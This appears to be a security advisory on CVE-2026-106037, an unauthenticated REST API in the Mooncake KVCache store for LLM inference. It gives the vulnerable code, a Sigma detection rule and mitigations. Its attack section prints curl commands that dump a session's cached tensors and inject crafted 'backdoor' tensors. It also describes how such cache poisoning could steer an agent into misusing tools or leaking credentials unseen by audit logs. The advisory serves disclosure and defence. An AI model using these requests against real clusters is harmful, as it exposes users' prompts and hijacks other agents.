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CVE-2026-106037: Mooncake Distributed KVCache Store Unauthenticated REST API Exposure and Cache Poisoning

Density:
HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE EVALUATION

Target: Mooncake Distributed KVCache Store โ€” Store REST Service (mooncake_store_service.py)
Confidence: 98%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 17 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 16 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

Both CVSS v4.0 (9.3 Critical) and the Hermes Threat Score (94 CRITICAL, with an Agentic Security Score HASS of 95) highlight a fundamental boundary failure in distributed LLM serving architecture. Mooncake powers high-throughput inference for large models (vLLM and Kimi disaggregated prefill-decode clusters) by serving as a distributed Key-Value (KV) cache fabric. In versions up to 0.3.13.post1, the Store HTTP service unconditionally binds to 0.0.0.0 on port 8080 without requiring any authentication tokens, mutual TLS, or network access controls. Remote adversaries on routable networks can invoke /api/get to reconstruct raw prompt contexts and chat histories, call /api/put to inject adversarial KV tensor slices directly into running inference jobs (MITRE ATLAS AML.T0043), or purge memory segments via /api/remove_all to trigger catastrophic cluster-wide denial of service.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-106037: Mooncake Distributed KVCache Store Unauthenticated REST API Exposure and Cache PoisoningVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTMooncake Distributed KVCache Store
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Mooncake Distributed KVCache Store documented in Hermes dossier.”

Supporting Verified Evidence:

Modern multi-node LLM serving separates compute-intensive prompt prefilling from token generation (decode). Mooncake acts as the decentralized memory pooling orchestrator, coordinating RDMA, NVMe, and DRAM cache segments.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-106037International security tracking identifier
Software PlatformMooncake KVCache StoreOpen-source distributed KVCache transfer engine for LLMs
Vulnerable Componentmooncake-wheel/mooncake/mooncake_store_service.pyStore REST Service (start_http_service())
Vulnerability ClassCWE-306 / CWE-284 / CWE-200Missing Authentication for Critical Function / Information Disclosure
Attack VectorNetwork (Port 8080 TCP)Unauthenticated HTTP REST requests (GET, PUT, POST, DELETE)
Remediation ReleaseMooncake v0.3.14Mandatory bearer token validation and loopback binding defaults
[ Unauthenticated Remote Attacker ]
|
Direct HTTP requests to :8080 TCP
No bearer tokens, API keys, or mTLS
|
v
+------------------------------------------+
| Mooncake Store REST API (:8080 TCP) |
| aiohttp Web Server (0.0.0.0 binding) |
+------------------------------------------+
/ | \
GET /api/get/{key} / | \ PUT /api/put
v v v
+-------------------+ +-------------------+ +-------------------+
| Exfiltrate Prompt | | DELETE /api/ | | Inject Poisoned |
| Cache Tensors | | remove_all | | KV Tensor Slices |
| & System Contexts | | Cluster DoS | | (AML.T0043) |
+-------------------+ +-------------------+ +-------------------+
| |
v v
+------------------------------------------+
| Disaggregated LLM Inference Pool |
| Decode Worker loads poisoned tensors |
| Agentic Reasoning Compromised! |
+------------------------------------------+

The root cause resides in mooncake-wheel/mooncake/mooncake_store_service.py. When initializing the REST management server, start_http_service() creates an aiohttp application exposing high-privilege operations with zero middleware verification:

# Vulnerable implementation in mooncake_store_service.py (Mooncake <= 0.3.13.post1)
async def start_http_service(self, port: int = 8080):
app = web.Application(client_max_size=1024 * 1024 * 100) # 100MB limit
app.add_routes(
[
web.post("/api/reconfigure", _timed_handler("RECONFIGURE", self.handle_reconfigure)),
web.post("/api/mount_shm", _timed_handler("MOUNT_SHM", self.handle_mount_shm)),
web.post("/api/unmount_shm", _timed_handler("UNMOUNT_SHM", self.handle_unmount_shm)),
web.post("/api/mount", _timed_handler("MOUNT", self.handle_mount)),
web.post("/api/unmount", _timed_handler("UNMOUNT", self.handle_unmount)),
web.post("/api/unmount_local_disk", _timed_handler("UNMOUNT_LOCAL_DISK", self.handle_unmount_local_disk)),
web.put("/api/put", _timed_handler("PUT", self.handle_put)),
web.get("/api/get/{key}", _timed_handler("GET", self.handle_get)),
web.get("/api/exist/{key}", _timed_handler("EXIST", self.handle_exist)),
web.delete("/api/remove/{key}", _timed_handler("REMOVE", self.handle_remove)),
web.delete("/api/remove_all", _timed_handler("REMOVE_ALL", self.handle_remove_all)),
]
)
runner = web.AppRunner(app)
await runner.setup()
# FLAW: Binds unconditionally to 0.0.0.0 without authentication middleware
site = web.TCPSite(runner, "0.0.0.0", port)
await site.start()
logging.info(f"REST API started on port {port}")
return True
  1. Zero Route Authorization: None of the route handlers verify caller identity or session tokens.
  2. Wildcard Interface Binding: The service binds to 0.0.0.0, exposing internal GPU cluster communications to any adjacent network or internet gateway.
  3. Arbitrary KV Access: KV caches represent linearized attention tensors corresponding to tokenized input prompts. Dumping the keys allows rebuilding the cleartext prompt sequence.

Adversaries query the key enumeration or existing known keys to download serialized tensor buffers:

Terminal window
# Harvest active session KV cache tensor
curl -s -X GET "http://target-inference-node.internal:8080/api/get/session_ctx_94821_layer_0" \
-o stolen_tensor_l0.bin

Using a reverse tokenizer mapping, the adversary converts cached embeddings back into sensitive inputs (corporate contracts, proprietary source code, or internal database queries passed to autonomous agents).

Vector B: Adversarial Tensor Poisoning (MITRE ATLAS AML.T0043)

Section titled โ€œVector B: Adversarial Tensor Poisoning (MITRE ATLAS AML.T0043)โ€

Adversaries overwrite an active sessionโ€™s KV cache with crafted tensor slices that steer agent decision-making:

Terminal window
# Inject malicious KV tensor into victim agent session
curl -s -X PUT "http://target-inference-node.internal:8080/api/put" \
-H "Content-Type: application/octet-stream" \
-H "X-Key: session_ctx_94821_layer_0" \
--data-binary @crafted_backdoor_kv.bin

When the decode node resumes token generation, the attention mechanism incorporates the forged context, forcing the agent to invoke privileged tools or exfiltrate credentials without the prompt text ever appearing in front-end audit logs.


title: Mooncake Distributed KVCache Store Unauthenticated REST Invocation
id: c7143e59-8641-4562-b9b2-3c89b71e12aa
status: experimental
description: Detects unauthenticated or unauthorized HTTP requests targeting Mooncake distributed KVCache store endpoints.
references:
- https://github.com/kvcache-ai/Mooncake/issues/4476
- https://vulncheck.com/advisories/mooncake-through-0.3.13-post1-missing-authentication-in-store-rest-service
author: Hermes Codex CTI Team
date: 2026-10-07
logsource:
category: webserver
product: aiohttp
detection:
selection_endpoints:
cs-method:
- 'GET'
- 'PUT'
- 'POST'
- 'DELETE'
cs-uri-stem|startswith:
- '/api/get/'
- '/api/put'
- '/api/remove_all'
- '/api/mount'
- '/api/reconfigure'
filter_internal:
c-ip:
- '127.0.0.1'
- '::1'
condition: selection_endpoints and not filter_internal
fields:
- c-ip
- cs-method
- cs-uri-stem
- sc-status
falsepositives:
- Legitimate cluster health monitors or authorized non-loopback management if configured
level: critical
tags:
- attack.initial_access
- attack.exfiltration
- atlas.aml.t0043

  1. Upgrade Mooncake: Update the mooncake Python package and container runtimes to version 0.3.14 or later.
  2. Restrict Network Binding: Configure Mooncake service parameters to listen strictly on 127.0.0.1 or the designated private RDMA cluster interface:
    Terminal window
    export MOONCAKE_STORE_HOST="127.0.0.1"
    export MOONCAKE_STORE_PORT="8080"
  3. Enforce API Token Authentication: Enable bearer token authentication in Mooncake configuration files, requiring Authorization: Bearer <CLUSTER_SECRET> on all REST routes.
  4. Network Segmentation: Implement Kubernetes NetworkPolicy rules isolating port 8080 TCP strictly between prefill pods and decode pods, dropping all egress/ingress from general pod networks.